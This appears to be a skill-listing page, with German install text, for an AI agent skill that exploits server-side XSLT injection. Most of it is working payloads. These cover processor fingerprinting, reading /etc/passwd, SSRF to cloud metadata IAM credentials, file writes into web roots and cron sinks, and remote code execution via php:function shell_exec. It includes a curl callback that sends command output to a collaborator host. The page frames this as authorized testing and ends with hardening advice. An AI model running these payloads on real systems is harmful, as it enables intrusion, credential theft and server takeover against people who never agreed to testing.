Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates when XSL/XSLT content or document/stylesheet references reach a server-side transformer.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates when XSL/XSLT content or document/stylesheet references reach a server-side transformer.
During authorized tests where the server transforms XML to HTML/PDF/CSV using XSLT
When you can upload or influence an .xsl stylesheet, or the XML references an external stylesheet
When PDF/report generators, document converters, or ESI stylesheet= params perform transforms
When XXE payloads fail but the stylesheet parser itself is still attacker-reachable
When you see frameworks: libxslt (PHP/lxml/GNOME), Saxon (Java), Xalan (Apache), .NET, MSXML
Critical: Variants Most Often Missed
The biggest miss is stopping at generic XXE. Fingerprint the processor first, then switch to processor-specific primitives — a failed document('/etc/passwd') or failed Java call does NOT mean the engine is hardened.
<!-- 1. FINGERPRINT: identify version + vendor before anything else --><xsl:value-ofselect="system-property('xsl:version')"/><xsl:value-ofselect="system-property('xsl:vendor')"/><xsl:value-ofselect="system-property('xsl:vendor-url')"/><xsl:value-ofselect="system-property('xsl:product-name')"/>
<!-- 2. FILE READ — vary by processor --><!-- Saxon (XSLT 2.0): unparsed-text reads ANY text file --><xsl:value-ofselect="unparsed-text('/etc/passwd', 'utf-8')"/><!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML --><xsl:value-ofselect="document('/etc/passwd')"/><!-- may error --><xsl:value-of =/>
...
<!-- DTD external entity inside the stylesheet -->
<!DOCTYPE x [<!ENTITY extSYSTEM"file:///etc/passwd">]>
&ext;
<!-- 3. SSRF --><xsl:value-ofselect="document('http://169.254.169.254/latest/meta-data/')"/><xsl:includehref="http://127.0.0.1:8000/xslt"/><!-- include fetched BEFORE access control --><xsl:value-ofselect="document('http://example.com:22')"/><!-- port probe -->
<!-- 4. FILE WRITE --><!-- libxslt EXSLT secondary output --><xsl:stylesheetversion="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:exsl="http://exslt.org/common"extension-element-prefixes="exsl"><xsl:templatematch="/"><exsl:documenthref="/var/www/html/test.txt"method="text">0xdf was here!</exsl:document></xsl:template></xsl:stylesheet><!-- Saxon --><xsl:result-documenthref="local_file.txt"><xsl:text>Write Local File</xsl:text></xsl:result-document>
Fingerprint success: response shows Version: 2.0, Vendor: SAXON 9.x etc. → injection confirmed, pick the right payload set.
File read: /etc/passwd content (regex root:.*?:0:0:) or target file bytes appear in the transformed output.
SSRF: out-of-band callback hits your collaborator, OR document('http://host:22') returns a connect/timing difference per port.
File write: re-fetch the written path (e.g. /test.txt) and see your marker. Remember XML encoding — use & for a literal &, not %26.
Blind RCE: when only a boolean/object reference comes back, pivot to DNS/HTTP callbacks, time delays (shell_exec('sleep 10')), or file writes — do not expect stdout.
Hardening is partial: document('/etc/passwd') failing on libxslt doesn't rule out php:function/SSRF; a blocked Java call on Saxon doesn't rule out doc()/unparsed-text().
Workflow
Step 1: Detect & Fingerprint
# Local repro environmentsudo apt-get install -y default-jdk libsaxonb-java libsaxon-java
saxonb-xslt -xsl:detection.xsl xml.xml # prints Version + Vendor
Submit the system-property() stylesheet to the target and read the vendor string from the response.
<!-- Confirm RCE blindly with a callback, then upgrade --><xsl:value-ofselect="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>
Practical write workflow: first write a marker into a web-served path to prove the primitive, then write into an execution sink already on the host (cron-polled dir, auto-reload path, scheduled task input).
Hardening-bypass notes
lxml: XSLTAccessControl defaults to allowing file/network and only mediates transform-time I/O; xsl:import/xsl:include are parsed BEFORE that hook, so attacker stylesheets still load.
Apps often harden the XML parser (resolve_entities=False, no_network=True) but leave the stylesheet parser default — XSLT features stay reachable.
Key Concepts
Concept
Description
Processor fingerprinting
system-property('xsl:vendor'/'xsl:version') selects the right exploit path
document() vs unparsed-text()
libxslt document() expects XML; Saxon unparsed-text() reads any text
A reporting endpoint transforms user XML into a PDF with Saxon. Injecting unparsed-text('/etc/passwd') embeds the password file into the generated PDF.
Scenario 2: PHP libxslt RCE
A PHP app applies a user-controlled stylesheet. php:function('shell_exec','id') is enabled by default in many libxslt/PHP setups, giving direct command execution.
Scenario 3: SSRF to Cloud Metadata
A .NET converter blocks msxsl:script but document('http://169.254.169.254/latest/meta-data/iam/security-credentials/') succeeds, leaking cloud IAM credentials.
Output Format
## XSLT Server-Side Injection Finding
**Vulnerability**: XSLT Server-Side Injection
**Severity**: Critical (CVSS 9.1–9.8 for RCE; High for LFI/SSRF)
**Location**: POST /report/transform (XML/XSL upload or stylesheet= parameter)
**OWASP Category**: A03:2021 - Injection (with A10 SSRF when applicable)
### Reproduction Steps
1. Submit system-property() stylesheet → response shows Vendor: SAXON 9.1.0.8.
2. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output.
3. With ext funcs enabled, java:java.lang.Runtime exec triggers a collaborator callback (RCE).
### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| system-property('xsl:vendor') | SAXON 9.1.0.8 | Fingerprint |
| unparsed-text('/etc/passwd') | root:x:0:0:... | File read |
| rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE |
### Impact
Local file disclosure, SSRF (incl. cloud metadata), arbitrary file write, and remote code execution depending on processor and enabled extension functions.
### Recommendation
1. Never transform attacker-controlled stylesheets; pin trusted, static XSL.
2. Disable extension functions (PHP `php:function`, Saxon `ALLOW_EXTERNAL_FUNCTIONS`, .NET `EnableScript`).
3. Restrict the processor's file/network access (lxml `XSLTAccessControl`, `no_network=True`, resolver=None).
4. Run the transformer with least privilege and no outbound network access.